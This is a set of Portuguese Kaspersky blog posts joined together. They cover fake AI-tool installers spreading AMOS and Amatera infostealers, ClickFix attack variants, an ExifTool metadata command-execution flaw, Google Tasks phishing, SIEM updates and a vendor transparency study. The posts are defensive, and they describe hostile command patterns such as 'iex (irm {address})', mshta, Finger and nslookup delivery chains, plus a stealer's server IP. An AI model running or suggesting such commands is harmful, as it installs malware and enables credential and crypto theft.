Recentemente, discutimos como os agentes maliciosos estão espalhando o infostealer AMOS para macOS por meio do Google Ads, utilizando um chat com um assistente de IA no site real da OpenAI para hospedar instruções maliciosas. Decidimos investigar mais a fundo e identificamos várias campanhas maliciosas semelhantes, nas quais invasores distribuem malware disfarçado de ferramentas populares de IA por meio de anúncios na Pesquisa Google. Se as vítimas estiverem procurando por ferramentas específicas do macOS, a carga implementada será o mesmo AMOS; se estiverem no Windows, será o infostealer Amatera. Essas campanhas usam a popular IA chinesa Doubao, o assistente de IA viral OpenClaw ou o assistente de codificação Claude Code como isca. Isso significa que essas campanhas representam uma ameaça não apenas para usuários domésticos, mas também para organizações.
A realidade é que os funcionários corporativos estão usando cada vez mais assistentes de codificação, como o Claude Code, e agentes de automação de fluxo de trabalho, como o OpenClaw. Isso gera seus próprios riscos e é por isso que muitas organizações ainda precisam aprovar ou pagar pelo acesso a essas ferramentas. Como consequência, alguns funcionários tomam a iniciativa para encontrar por conta própria essas ferramentas modernas e vão direto ao Google. Eles digitam um termo de pesquisa e recebem um link patrocinado que leva a um guia de instalação malicioso. Vamos analisar mais de perto como esse ataque acontece, usando como exemplo uma campanha de distribuição do Claude Code descoberta no início de março.
O termo de pesquisa
Um usuário começa a procurar um local para baixar o agente Anthropic e digita algo como “Baixar Claude Code” na barra de pesquisa. O mecanismo de pesquisa retorna uma lista de links, com “links patrocinados” (anúncios pagos) no topo. Um desses anúncios leva o usuário a uma página maliciosa com documentação falsa. Curiosamente, o site em si é construído no Squarespace, um construtor de sites legítimo que ajuda o site dos invasores a ignorar os filtros antiphishing.
Resultados da pesquisa com anúncios na Romênia e no Brasil
O site dos invasores imita meticulosamente a documentação original do Claude Code, incluindo instruções de instalação. Assim como o negócio real, ele solicita que o usuário copie e execute um comando. No entanto, uma vez executado, ele não instala um agente de IA, mas um malware. Essencialmente, esse é apenas outro tipo de ataque ClickFix, que ganhou seu próprio apelido: InstallFix.
Site malicioso que imita as instruções de instalação
Site genuíno do Claude Code com instruções de instalação
Carga maliciosa
Assim como no Claude Code original, o comando para macOS tenta instalar um aplicativo usando o utilitário de linha de comando curl. Na realidade, ele implementa o spyware AMOS, já descrito por nossos especialistas no Securelist, que foi usado em uma campanha anterior semelhante.
No caso do Windows, o malware é instalado usando o utilitário do sistema mshta.exe, que executa aplicativos baseados em HTML em vez de curl, que é usado para o Claude Code genuíno. Esse utilitário implementa o Infostealer Amatera, que coleta dados do navegador, informações da carteira de criptomoedas, bem como informações da pasta do usuário, e os envia para um servidor remoto em 144{.}124.235.102.
Como manter sua empresa segura
O interesse em agentes de IA continua a crescer, e o surgimento de novas ferramentas e sua crescente popularidade estão criando novos vetores de ataque. Especificamente, buscar ferramentas de IA de terceiros pode comprometer o código-fonte local, mas também levar ao comprometimento de segredos, arquivos corporativos confidenciais e contas de usuário.
Para evitar que isso aconteça, a primeira etapa deve ser educar os funcionários sobre esses perigos e os truques usados pelos agentes de ameaças. Isso pode ser feito usando nossa plataforma de treinamento: Kaspersky Automated Security Awareness. Ela também inclui uma lição especializada sobre o uso de IA em ambientes corporativos.
Há cerca de um ano, publicamos uma postagem sobre a técnica ClickFix, que estava ganhando popularidade entre os invasores. A essência dos ataques usando o ClickFix é convencer a vítima, sob vários pretextos, a executar um comando malicioso em seu computador. Ou seja, do ponto de vista das soluções de segurança cibernética, ele é executado em nome do usuário ativo e com seus privilégios.
Nos primeiros usos dessa técnica, os cibercriminosos tentavam convencer as vítimas de que elas precisavam executar um comando para corrigir algum problema ou passar por um captcha e, na grande maioria dos casos, o comando malicioso era um script do PowerShell. No entanto, desde então, os invasores criaram uma série de novos truques sobre os quais os usuários devem ser avisados, bem como uma série de novas variantes de entrega de carga maliciosa, que também merecem atenção.
Uso de mshta.exe
No ano passado, os especialistas da Microsoft publicaram um relatório sobre ataques cibernéticos direcionados a proprietários de hotéis que trabalham com a Booking.com. Os invasores enviaram notificações falsas do serviço ou e-mails fingindo ser de hóspedes chamando a atenção para uma avaliação. Em ambos os casos, o e-mail continha um link para um site imitando o site Booking.com, que pedia à vítima para provar que não era um robô executando um código pelo menu Executar.
Há duas diferenças principais entre esse ataque e o ClickFix. Primeiro, ninguém pede para o usuário copiar a string (afinal, uma string com código às vezes levanta suspeitas). Ela é copiada para a área de transferência pelo site malicioso, provavelmente quando o usuário clica em uma caixa de seleção que imita o mecanismo reCAPTCHA. Em segundo lugar, a string maliciosa invoca o utilitário mshta.exe legítimo, que serve para executar aplicativos escritos em HTML. Ele entra em contato com o servidor dos invasores e executa a carga maliciosa.
Vídeo no TikTok e PowerShell com privilégios de administrador
A BleepingComputer publicou um artigo em outubro de 2025 sobre uma campanha que espalha malware por meio de instruções em vídeos do TikTok. Os próprios vídeos imitam tutoriais sobre como ativar software proprietário gratuitamente. O conselho que fornecem se resume à necessidade de executar o PowerShell com privilégios de administrador e, em seguida, executar o comando iex (irm {address}). Aqui, o comando irm baixa um script malicioso de um servidor controlado por invasores e o comando iex (Invoke-Expression) o executa. O script, por sua vez, baixa um malware infostealer para o computador da vítima.
Uso do protocolo Finger
Outra variante incomum do ataque ClickFix usa o conhecido truque do captcha, mas o script malicioso usa o antigo protocolo Finger. O utilitário de mesmo nome permite que qualquer pessoa solicite dados sobre um usuário específico em um servidor remoto. Hoje, o protocolo raramente é usado, mas ainda é compatível com Windows, macOS e diversos sistemas baseados em Linux.
O usuário é persuadido a abrir a interface da linha de comando e usá-la para executar um comando que estabelece uma conexão pelo protocolo Finger (usando a porta TCP 79) com o servidor do invasor. O protocolo transfere apenas informações de texto, mas isso é suficiente para baixar outro script para o computador da vítima, que então instala o malware.
Variante CrashFix
Outra variante do ClickFix difere por usar engenharia social mais sofisticada. Ela foi usada em um ataque a usuários que tentavam encontrar uma ferramenta para bloquear banners de publicidade, rastreadores, malware e outros conteúdos indesejados em páginas da web. Ao procurar uma extensão adequada para o Google Chrome, as vítimas encontraram algo chamado NexShield – Advanced Web Guardian, que na verdade era um clone de um software real funcional, mas que em algum momento travava o navegador e exibia uma notificação falsa sobre um problema de segurança detectado e a necessidade de executar uma “verificação” para corrigir o erro. Se o usuário concordasse, ele recebia instruções sobre como abrir o menu Executar e digitar um comando que a extensão havia copiado anteriormente para a área de transferência.
O comando copiava o arquivo finger.exe conhecido para um diretório temporário, o renomeava como ct.exe e, em seguida, iniciava-o com o endereço do invasor. O resto do ataque era idêntico ao caso anterior. Em resposta à solicitação do protocolo Finger, um script malicioso era entregue, que iniciava e instalava um trojan de acesso remoto (neste caso, ModeloRAT).
Entrega de malware por consulta DNS
A equipe de Inteligência de Ameaças da Microsoft também compartilhou uma variante de ataque ClickFix um pouco mais complexa do que o habitual. Infelizmente, eles não descreveram o truque de engenharia social, mas o método de entregar a carga maliciosa é bastante interessante. Provavelmente para dificultar a detecção do ataque em um ambiente corporativo e prolongar a vida útil da infraestrutura maliciosa, os invasores usaram uma etapa adicional: entrar em contato com um servidor DNS controlado pelos invasores.
Ou seja, depois que a vítima é persuadida de alguma forma a copiar e executar um comando malicioso, uma solicitação é enviada ao servidor DNS em nome do usuário por meio do utilitário nslookup legítimo, solicitando dados para o domínio example.com. O comando continha o endereço de um servidor DNS específico controlado pelos invasores. Ele retorna uma resposta que, entre outras coisas, contém uma string com um script malicioso, que por sua vez baixa a carga útil final (neste ataque, ModeloRAT novamente).
Isca de criptomoeda e JavaScript como carga útil
A próxima variante de ataque é interessante por sua engenharia social de vários estágios. Em comentários no Pastebin, os invasores espalharam ativamente uma mensagem sobre uma suposta falha no serviço de câmbio de criptomoedas Swapzone.io. Os proprietários de criptomoedas recebiam convites para visitar um site criado por fraudadores, que continha instruções completas sobre como explorar uma falha capaz de gerar até US$ 13.000 em poucos dias.
As instruções explicavam como as falhas do serviço podiam ser exploradas para trocar criptomoedas a uma taxa mais favorável. Para fazer isso, a vítima precisava abrir o site do serviço no navegador Chrome, digitar manualmente “javascript:” na barra de endereço, colar o script JavaScript copiado do site do invasor e executá-lo. Na realidade, é claro, o script não podia afetar as taxas de câmbio; ele simplesmente substituía os endereços da carteira Bitcoin e, se a vítima realmente tentasse negociar algo, transferiria os fundos para as contas dos invasores.
Como proteger a sua empresa contra ataques ClickFix
Os ataques mais simples que usam a técnica ClickFix podem ser combatidos pelo bloqueio da combinação de teclas [Win] + [R] em dispositivos de trabalho. Mas, como vemos nos exemplos listados, esse está longe de ser o único tipo de ataque em que os usuários são instruídos a executar código malicioso.
Portanto, o principal conselho é aumentar a conscientização em segurança cibernética dos funcionários. Eles devem entender claramente que, se alguém lhes pedir para executar qualquer manipulação incomum no sistema e/ou copiar e colar um código em algum lugar, na maioria dos casos trata-se de um truque usado pelos cibercriminosos. O treinamento de conscientização de segurança pode ser organizado com a Kaspersky Automated Security Awareness Platform.
Além disso, para se proteger contra esses ataques cibernéticos, recomendamos:
É possível que um computador seja infectado por malware simplesmente ao processar uma foto? Especialmente se esse computador for um Mac, que muitos ainda acreditam, de forma equivocada, ser inerentemente resistente a malware? A resposta é sim. Isso pode ocorrer se você estiver utilizando uma versão vulnerável do ExifTool ou um dos inúmeros aplicativos desenvolvidos com base nele. O ExifTool é uma solução de código aberto amplamente utilizada para ler, gravar e editar metadados de imagens. Trata-se da ferramenta de referência para fotógrafos e arquivistas digitais, sendo também muito empregada em análise de dados, perícia digital e jornalismo investigativo.
Especialistas da nossa equipe GReAT descobriram uma vulnerabilidade crítica, registrada como CVE-2026-3102, que é acionada durante o processamento de arquivos de imagem maliciosos contendo comandos shell incorporados em seus metadados. Quando uma versão vulnerável do ExifTool no macOS processa esse tipo de arquivo, o comando é executado automaticamente. Isso permite que um agente malicioso realize ações não autorizadas no sistema, como baixar e executar um payload a partir de um servidor remoto. Neste post, explicamos em detalhes como esse exploit funciona, apresentamos recomendações práticas de defesa e mostramos como verificar se seu sistema está vulnerável.
O que é o ExifTool?
O ExifTool é um aplicativo gratuito e de código aberto que atende a uma necessidade específica, porém crítica: extrair metadados de arquivos e permitir o processamento tanto desses dados quanto dos próprios arquivos. Metadados são informações incorporadas à maioria dos formatos de arquivo modernos e que descrevem ou complementam o conteúdo principal de um arquivo. Por exemplo, em uma faixa de música, os metadados incluem o nome do artista, o título da música, o gênero, o ano de lançamento, a arte da capa do álbum e assim por diante. Em fotografias, normalmente incluem a data e hora do registro, as coordenadas GPS, as configurações de ISO e a velocidade do obturador, além da marca e do modelo da câmera. Até documentos de escritório armazenam metadados, como o nome do autor, o tempo total de edição e a data original de criação.
O ExifTool é considerado o líder do setor em termos de quantidade de formatos de arquivo compatíveis, além da profundidade, precisão e versatilidade de suas capacidades de processamento. Entre os casos de uso mais comuns estão:
Ajustar datas se estiverem incorretamente registradas nos arquivos de origem
Transferir metadados entre diferentes formatos de arquivo (de JPG para PNG, entre outros)
Extrair miniaturas de pré-visualização de formatos RAW profissionais (como 3FR, ARW ou CR3)
Recuperar dados de formatos especializados, incluindo imagens térmicas da FLIR, fotos de campo de luz da LYTRO e imagens médicas no formato DICOM
Renomear arquivos de foto ou vídeo com base no momento real do registro e sincronizar a data e hora de criação do arquivo
Inserir coordenadas GPS em um arquivo sincronizando-o com um log de trilha GPS armazenado separadamente ou adicionando o nome da localidade habitada mais próxima
E a lista continua. O ExifTool está disponível tanto como aplicativo autônomo de linha de comando quanto como biblioteca de código aberto, o que significa que seu código frequentemente opera nos bastidores de ferramentas mais complexas e multifuncionais. Entre os exemplos estão sistemas de organização de fotos como Exif Photoworker e MetaScope, ou ferramentas de automação de processamento de imagens como ImageIngester. Em grandes bibliotecas digitais, editoras e empresas especializadas em análise de imagens, o ExifTool costuma ser utilizado em modo automatizado, acionado por aplicativos corporativos internos e scripts personalizados.
Como a CVE-2026-3102 funciona
Para explorar essa vulnerabilidade, um invasor precisa criar um arquivo de imagem de uma forma específica. A imagem em si pode ser qualquer uma; o exploit está nos metadados, mais precisamente no campo DateTimeOriginal (data e hora de criação), que precisa estar registrado em um formato inválido. Além da data e da hora, esse campo deve conter comandos shell maliciosos. Devido à forma específica como o ExifTool manipula dados no macOS, esses comandos só serão executados se duas condições forem atendidas:
O aplicativo ou a biblioteca estiver sendo executado no macOS
O sinalizador -n (ou –printConv) estiver habilitado. Esse modo gera dados legíveis por máquina, sem processamento adicional. Por exemplo, no modo -n, os dados de orientação da câmera são exibidos simplesmente como “six”, enquanto, com processamento adicional, aparecem na forma mais compreensível “Rotated 90 CW”. Essa conversão para uma forma “legível por humanos” impede a exploração da vulnerabilidade
Um cenário raro, mas de forma alguma impossível, de ataque direcionado poderia ocorrer da seguinte maneira. Um laboratório forense, uma redação de jornal ou uma grande organização que processe documentação jurídica ou médica recebe um arquivo digital de interesse. Pode ser uma fotografia sensacionalista ou uma petição judicial; a isca depende da área de atuação da vítima. Todos os arquivos que entram na organização passam por triagem e catalogação em um sistema de gestão de ativos digitais (DAM). Em grandes empresas, esse processo costuma ser automatizado; profissionais autônomos e pequenas empresas executam o software necessário manualmente. Em ambos os casos, a biblioteca ExifTool precisa estar sendo utilizada nos bastidores desse software. Ao processar a data da fotografia maliciosa, o computador onde o processamento ocorre é infectado por um trojan ou um infostealer, que posteriormente pode roubar todos os dados valiosos armazenados no dispositivo comprometido. Enquanto isso, a vítima pode não perceber absolutamente nada, pois o ataque explora apenas os metadados da imagem, enquanto a própria fotografia pode ser aparentemente inofensiva, legítima e até útil.
Como se proteger da vulnerabilidade do ExifTool
Pesquisadores da equipe GReAT relataram a vulnerabilidade ao autor do ExifTool, que rapidamente lançou a versão 13.50, não suscetível à CVE-2026-3102. As versões 13.49 e anteriores devem ser atualizadas para corrigir a falha.
É fundamental garantir que todos os fluxos de processamento de imagens estejam utilizando a versão atualizada. Verifique se todas as plataformas de gestão de ativos digitais, aplicativos de organização de fotos e quaisquer scripts de processamento em lote de imagens executados em Macs estão habilitando o ExifTool versão 13.50 ou posterior, e se não contêm uma cópia incorporada mais antiga da biblioteca ExifTool.
Naturalmente, o ExifTool, como qualquer software, pode conter outras vulnerabilidades dessa mesma classe. Para reforçar a segurança, recomenda-se também:
Isolar o processamento de arquivos não confiáveis. Processe imagens provenientes de fontes duvidosas em uma máquina dedicada ou dentro de um ambiente virtual, limitando rigorosamente o acesso desse ambiente a outros computadores, armazenamentos de dados e recursos de rede.
Monitorar continuamente vulnerabilidades na cadeia de suprimentos de software. Organizações que dependem de componentes de código aberto em seus fluxos de trabalho podem utilizar Open Source Data Feed para acompanhamento.
Por fim, se você trabalha com freelancers ou prestadores autônomos (ou permite o uso de BYOD, Bring Your Own Device), autorize o acesso à sua rede somente se esses dispositivos tiverem uma solução abrangente de segurança para macOS instalada.
Ainda acha que o macOS é totalmente seguro? Então, vale conhecer algumas ameaças recentes direcionadas a Macs:
Temos discutido repetidamente esquemas de phishing em que invasores exploram vários servidores legítimos para enviar e-mails. Caso consigam sequestrar algum servidor de SharePoint, eles o usarão; caso contrário, se limitarão a enviar notificações por meio de um serviço gratuito, como o GetShared. Contudo, o enorme ecossistema do Google é um dos alvos favoritos dos criminosos, e a bola da vez é o Google Tarefas. Como de costume, este truque tem como principal objetivo driblar os filtros de e-mail, explorando a boa reputação do intermediário.
Como é o phishing no Google Tarefas
O destinatário recebe uma notificação legítima de um endereço @google.com com a mensagem: “Você tem uma nova tarefa”. Basicamente, os invasores tentam fazer parecer que a empresa passou a usar o gerenciador de tarefas do Google e, por isso, a vítima precisa clicar imediatamente em um link para preencher um formulário de verificação.
Para impedir que o destinatário tenha tempo para pensar se isso é necessário, a tarefa geralmente inclui um prazo curto e é marcada com alta prioridade. Ao clicar no link dentro da tarefa, a vítima é direcionada para uma URL que leva a um formulário onde deve inserir suas credenciais corporativas para “confirmar seu status de funcionário”. Essas credenciais, obviamente, são o objetivo final do ataque de phishing.
Como proteger as credenciais de funcionários contra phishing
Naturalmente, os funcionários devem ser alertados sobre a existência desse esquema. Por exemplo, compartilhando um link para o nosso acervo de postagens sobre como identificar o phishing. Mas, na realidade, o problema não é com nenhum serviço específico, mas sim com a cultura geral de segurança cibernética dentro de uma empresa. Os processos de fluxo de trabalho precisam ser claramente definidos para que todos os funcionários entendam quais ferramentas são realmente usadas pela empresa. Recomenda-se manter um documento corporativo público com a lista dos serviços autorizados e as pessoas ou departamentos responsáveis por eles. Isso proporciona aos funcionários um meio de verificar se aquele convite, tarefa ou notificação é legítimo. Além disso, nunca é demais lembrar que as credenciais corporativas devem ser inseridas somente em recursos internos da empresa. Para automatizar o processo de treinamento e manter sua equipe atualizada sobre as ameaças cibernéticas modernas, você pode usar uma ferramenta dedicada, como a Kaspersky Automated Security Awareness Platform.
Além disso, recomendamos reduzir a chegada de e-mails potencialmente perigosos às caixas de entrada dos funcionários com uma solução de segurança de gateway de e-mail especializada. Também é vital equipar todas as estações de trabalho conectadas à Web com um software de segurança. Mesmo que um invasor consiga enganar um funcionário, o produto de segurança bloqueará a tentativa de visitar o site de phishing, evitando o vazamento das credenciais corporativas.
Um número significativo dos incidentes modernos tem início com o comprometimento de contas. Como os agentes de acesso inicial se tornaram uma indústria criminosa plenamente estabelecida, ficou muito mais fácil para invasores organizarem ataques à infraestrutura das empresas simplesmente comprando conjuntos de logins e senhas de funcionários. A ampla adoção de diferentes métodos de acesso remoto tornou essa tarefa ainda mais simples. Ao mesmo tempo, as fases iniciais desses ataques se assemelham com frequência a ações perfeitamente legítimas de colaboradores e permanecem indetectáveis pelos mecanismos tradicionais de segurança por longos períodos.
Confiar apenas nas medidas de proteção da conta e nas políticas de senha não é uma opção. Sempre existe a possibilidade de que invasores obtenham credenciais de funcionários por meio de ataques de phishing, malware do tipo infostealer ou, simplesmente, pela falta de cuidado de usuários que reutilizam a mesma senha em contas profissionais e pessoais e não dão muita atenção a vazamentos ocorridos em serviços de terceiros.
Assim, a detecção de ataques à infraestrutura de uma empresa exige ferramentas que identifiquem não apenas assinaturas isoladas de ameaças, mas também mecanismos de análise comportamental que reconheçam desvios do comportamento normal de usuários e processos do sistema.
Uso de IA no SIEM para detectar comprometimento de contas
Como mencionamos na postagem anterior, para detectar ataques envolvendo comprometimento de contas, o SIEM da Kaspersky Unified Monitoring and Analysis Platform foi equipado com regras UEBA para identificar anomalias em autenticação, atividades de rede e execução de processos em estações de trabalho e servidores Windows. Na atualização mais recente, seguimos desenvolvendo o sistema nessa mesma direção, incorporando abordagens baseadas em IA.
O sistema cria um modelo do comportamento normal dos usuários durante a autenticação e passa a monitorar desvios em relação aos cenários habituais, como horários de login atípicos, cadeias de eventos incomuns e tentativas de acesso anômalas. Essa abordagem permite que SIEM identifique tanto tentativas de autenticação com credenciais roubadas quanto o uso de contas já comprometidas, inclusive em cenários complexos que antes poderiam passar despercebidos.
Em vez de buscar indicadores isolados, o sistema analisa desvios em relação a padrões normais. Isso possibilita a detecção mais precoce de ataques complexos, reduz o número de falsos positivos e diminui significativamente a carga operacional das equipes de SOC.
Anteriormente, ao utilizar regras UEBA para detectar anomalias, era necessário criar diversas regras responsáveis por executar etapas preliminares e gerar listas adicionais nas quais os dados intermediários eram armazenados. Agora, na nova versão do SIEM, com um correlacionador atualizado, é possível detectar o sequestro de contas por meio de uma única regra especializada.
Outras atualizações na Kaspersky Unified Monitoring and Analysis Platform
Quanto mais complexa é a infraestrutura e maior o volume de eventos, mais críticos se tornam os requisitos de desempenho da plataforma, a flexibilidade no gerenciamento de acessos e a facilidade de operação no dia a dia. Um sistema SIEM moderno deve não apenas detectar ameaças com precisão, mas também permanecer resiliente, sem precisar de atualizações constantes de hardware ou de reestruturação de processos. Por isso, na versão 4.2, demos mais um passo para tornar a plataforma mais prática e adaptável. As atualizações impactam a arquitetura, os mecanismos de detecção e a experiência do usuário.
Inclusão de funções flexíveis e controle de acesso granular
Uma das principais inovações da nova versão do SIEM é o modelo flexível de funções. Agora, os clientes podem criar funções personalizadas para diferentes usuários do sistema, duplicar funções existentes e configurar conjuntos específicos de permissões de acordo com as atividades de cada especialista. Isso permite uma diferenciação mais precisa de responsabilidades entre analistas de SOC, administradores e gestores, reduz o risco de concessão excessiva de privilégios e reflete de forma mais fiel os processos internos da empresa nas configurações do SIEM.
Novo correlacionador e, como resultado, maior estabilidade da plataforma
Na versão 4.2, introduzimos uma versão beta de um novo mecanismo de correlação (2.0). Ela processa eventos com maior velocidade e exige menos recursos de hardware. Para os clientes, isso se traduz em:
operação estável mesmo sob cargas elevadas;
capacidade de processar grandes volumes de dados sem a necessidade de expansão imediata da infraestrutura;
desempenho mais previsível.
Cobertura de TTPs de acordo com a matriz MITRE ATT&CK
Também seguimos ampliando sistematicamente a cobertura da matriz de técnicas, táticas e procedimentos MITRE ATT&CK: atualmente, o Kaspersky SIEM cobre mais de 60% de toda a matriz. As regras de detecção são atualizadas regularmente e acompanhadas de recomendações de resposta. Isso ajuda os clientes a entenderem quais cenários de ataque já estão sob controle e a planejarem a evolução das suas defesas com base em um modelo amplamente aceito pelo setor.
Outras melhorias
A versão 4.2 também introduz a possibilidade de realizar backup e restauração de eventos, além da exportação de dados para arquivos seguros com controle de integridade, algo especialmente importante para investigações, auditorias e conformidade regulatória. Consultas em segundo plano foram implementadas para facilitar o trabalho dos analistas. Agora, pesquisas complexas e que consomem muitos recursos podem ser executadas em segundo plano sem impactar tarefas prioritárias. Isso acelera a análise de grandes volumes de dados.
Continuamos atualizando regularmente o Kaspersky SIEM, expandindo suas capacidades de detecção, aprimorando a arquitetura e incorporando funcionalidades de IA para que a plataforma atenda cada vez melhor às condições reais enfrentadas pelas equipes de segurança da informação. O objetivo é não apenas responder a incidentes, mas também ajudar a construir um modelo de proteção sustentável para o futuro. Acompanhe as atualizações sobre o sistema SIEM, a Kaspersky Unified Monitoring and Analysis Platform, na página oficial do produto.
A rotina de um líder moderno em segurança da informação (o CISO – Chief Information Security Officer) vai muito além de apenas enfrentar hackers. É também uma jornada contínua conhecida como “compliance”. Os reguladores seguem apertando o cerco; a todo momento surgem novos padrões e as dores de cabeça só aumentam. Além disso, os CISOs são responsáveis não apenas pelo seu próprio perímetro, mas também pelo que acontece fora dele: toda a sua cadeia de suprimentos, todos os seus contratados e toda a complexa variedade de softwares que seus processos de negócios utilizam. Embora a lógica por trás disso seja sólida, ela também é implacável: se uma falha for encontrada no seu fornecedor e recair sobre você, consequentemente, você quem será responsabilizado. Essa lógica também se aplica ao software de segurança.
Antigamente, as empresas raramente pensavam no que realmente havia dentro das soluções e produtos de segurança que utilizavam. Agora, no entanto, as empresas, especialmente as grandes, querem saber tudo: o que realmente tem dentro da caixa? Quem escreveu o código? Isso vai comprometer alguma função crítica ou até mesmo derrubar tudo? (Já vimos precedentes assim; por exemplo: o incidente de atualização do Crowdstrike 2024.) Onde e como os dados são processados? E essas são as perguntas certas a serem feitas.
O problema está no fato de que quase todos os clientes confiam em seus fornecedores para responder com precisão a essas perguntas; muitas vezes porque não têm outra opção. Uma abordagem mais madura na realidade cibernética de hoje é a verificação.
Em termos corporativos, isso é chamado de confiança na cadeia de suprimentos, e tentar resolver esse quebra-cabeça por conta própria é uma grande dor de cabeça. Você precisa da ajuda de fornecedores. Um fornecedor responsável está pronto para mostrar o que há por trás de suas soluções, abrir o código-fonte para a análise de parceiros e clientes e, em geral, conquistar a confiança não com belos slides, mas com etapas sólidas e práticas.
Então, quem já está fazendo isso e quem ainda está preso ao passado? Um estudo recente e detalhado de nossos colegas na Europa tem a resposta. Conduzido pelo respeitado laboratório de testes AV-Comparatives, pela Câmara de Comércio do Tirol (WKO), pela MCI Entrepreneurial School e pelo escritório de advocacia Studio Legale Tremolada.
A principal conclusão do estudo é que a era das “caixas-pretas” na cibersegurança chegou ao fim. Descanse em paz. Amém. O futuro pertence àqueles que não escondem seu código-fonte e relatórios de vulnerabilidades, e que oferecem aos clientes a máxima liberdade de escolha na configuração de seus produtos. E o relatório indica claramente quem não apenas promete, mas de fato cumpre. Adivinhe quem!
Excelente palpite! Sim, somos nós!
Oferecemos aos nossos clientes algo que, infelizmente, ainda é uma espécie rara e em extinção no setor: centros de transparência, revisões do código-fonte de nossos produtos, uma lista detalhada de materiais de software (SBOM) e a capacidade de verificar o histórico de atualizações e controlar as implementações. E, claro, oferecemos tudo o que já se tornou padrão no setor. Você pode consultar todos os detalhes no relatório completo de “Transparência e Responsabilidade em Cibersegurança” (TRACS) ou em nosso resumo. A seguir, abordaremos alguns dos trechos mais interessantes.
Critérios claros, sem misturar conceitos
A TRACS analisou 14 fornecedores populares e seus produtos de EPP/EDR, desde Bitdefender e CrowdStrike até Kaspersky Next EDR Optimum e WithSecure. O objetivo foi identificar quais fornecedores não apenas dizem “confie em nós”, mas realmente permitem que você verifique tudo o que prometem. O estudo abrangeu 60 critérios: da conformidade com o GDPR (Regulamento Geral de Proteção de Dados; afinal, trata-se de um estudo europeu) e auditorias de ISO 27001 à capacidade de processar toda a telemetria localmente e acessar o código-fonte de um produto. Mas os autores decidiram não atribuir pontos para cada categoria nem formar uma única classificação geral.
Por quê? Porque todos têm modelos de ameaças e riscos diferentes. O que é um recurso para um, pode ser um bug e um desastre para outro. Instale atualizações de forma rápida e totalmente automática. Para uma pequena empresa ou uma rede varejista com milhares de pequenas filiais independentes, isso é uma bênção: simplesmente não haveria equipe de TI suficiente para gerenciar tudo isso manualmente. Mas, em uma fábrica onde um computador controla a esteira de produção, isso seria totalmente inaceitável. Uma atualização defeituosa pode paralisar completamente uma linha de produção, um impacto nos negócios que pode ser fatal (ou, no mínimo, pior do que o recente ataque cibernético à Jaguar Land Rover). Nesse cenário, cada atualização precisa ser testada antes de entrar em operação. Com a telemetria, a história é a mesma. Uma agência de relações públicas envia dados dos seus computadores para a nuvem do fornecedor para participar da detecção de ameaças cibernéticas e receber proteção de forma imediata. Perfeito. Mas e uma empresa que processa registros médicos de pacientes ou projetos técnicos altamente confidenciais em seus computadores? Nesse caso, as configurações de telemetria precisariam ser cuidadosamente reavaliadas.
O ideal é que cada empresa atribua “pesos” a cada critério e calcule sua própria “nota de compatibilidade” com os fornecedores de EDR/EPP. Mas uma coisa é óbvia: quem oferece opções aos clientes, sai na frente.
Veja, por exemplo, a análise de reputação de arquivos suspeitos. Ela pode funcionar de duas formas: por meio da nuvem compartilhada do fornecedor ou de uma micronuvem privada dentro de uma única organização. Além disso, há a opção de desativar totalmente essa análise e trabalhar de forma completamente off-line. Pouquíssimos fornecedores oferecem aos clientes essas três opções. Por exemplo, a análise de reputação no local está disponível em apenas oito fornecedores avaliados no teste. Nem é preciso dizer que somos um deles.
Elevando o padrão
Em todas as categorias avaliadas no teste, a situação é praticamente a mesma observada no serviço de reputação. Analisando cuidadosamente as 45 páginas do relatório: constatamos que estamos à frente de nossos concorrentes ou entre os líderes. E podemos afirmar com orgulho que, em cerca de um terço das categorias comparativas, oferecemos capacidades significativamente superiores às da maioria dos nossos pares. Veja você mesmo:
Visitar um centro de transparência e revisar o código-fonte? Verificar se os binários do produto são realmente criados a partir desse código-fonte? Apenas três fornecedores avaliados no teste oferecem isso. E, no caso de um deles, essas opções só estão disponíveis para clientes governamentais. Nossos centros de transparência são os mais numerosos e geograficamente distribuídos do mercado, e oferecem aos clientes a mais ampla variedade de opções.
A inauguração do nosso primeiro centro de transparência em 2018
Baixar atualizações do banco de dados e verificá-las novamente? Apenas seis fornecedores (incluindo nós) oferecem isso.
Configurar a implementação de atualizações em múltiplas etapas? Não é exatamente algo raro, mas também está longe de ser comum, apenas sete fornecedores, além de nós, oferecem esse recurso.
Ter acesso aos resultados de uma auditoria de segurança externa da empresa? Apenas nós e outros seis fornecedores estão preparados para compartilhar isso com os clientes.
Desmembrar a cadeia de suprimentos em elos individuais por meio de um SBOM? Isso também é raro: apenas três fornecedores permitem solicitar um SBOM. E um deles é aquela empresa de cor verde que, por coincidência nada aleatória, leva o meu nome.
É claro que há categorias em que todos se saem bem: todos foram aprovados em auditorias ISO/IEC 27001, estão em conformidade com o GDPR, seguem práticas de desenvolvimento seguro e aceitam relatórios de vulnerabilidades.
Por fim, há ainda a questão dos indicadores técnicos. Todos os produtos que funcionam on-line enviam determinados dados técnicos sobre os computadores protegidos, além de informações relacionadas a arquivos infectados. Para muitas empresas, isso não é um problema, pelo contrário, elas ficam satisfeitas por melhorar a eficácia da proteção. Mas, para organizações que estão realmente focadas em minimizar o fluxo de dados, a AV-Comparatives também mede isso; e por acaso, somos o fornecedor que coleta o menor volume de telemetria em comparação com os demais.
Conclusões práticas
Graças aos especialistas austríacos, os CISOs e suas equipes agora têm uma tarefa muito mais simples ao verificar seus fornecedores de segurança. E não apenas os 14 que foram testados. A mesma estrutura pode ser aplicada a outros fornecedores de soluções de segurança e a softwares em geral. Mas também há conclusões estratégicas.
A transparência facilita o gerenciamento de riscos. Se você é responsável por manter um negócio em operação, não vai querer ficar na dúvida se sua ferramenta de proteção se tornará seu ponto fraco. Você precisa de previsibilidade e responsabilidade. O estudo da WKO e da AV-Comparatives confirma que o nosso modelo reduz esses riscos e os torna gerenciáveis.
Evidências no lugar de slogans. Nesse mercado, não basta simplesmente escrever “somos seguros” no seu site. É preciso ter mecanismos de auditoria. O cliente precisa ter a possibilidade de verificar tudo por conta própria. Nós fornecemos isso. Os outros ainda estão se adaptando.
Transparência e maturidade caminham juntas. Fornecedores que são transparentes com seus clientes normalmente também contam com processos mais maduros de desenvolvimento de produto, resposta a incidentes e tratamento de vulnerabilidades. Seus produtos e serviços são mais confiáveis.
Nossa abordagem à transparência (GTI) funciona. Quando anunciamos nossa iniciativa, anos atrás, e inauguramos Centros de Transparência ao redor do mundo, ouvimos todo tipo de crítica; que era um desperdício de dinheiro e que ninguém realmente precisava disso. Agora, especialistas europeus independentes afirmam que é exatamente assim que um fornecedor deve operar em 2025, e no futuro.
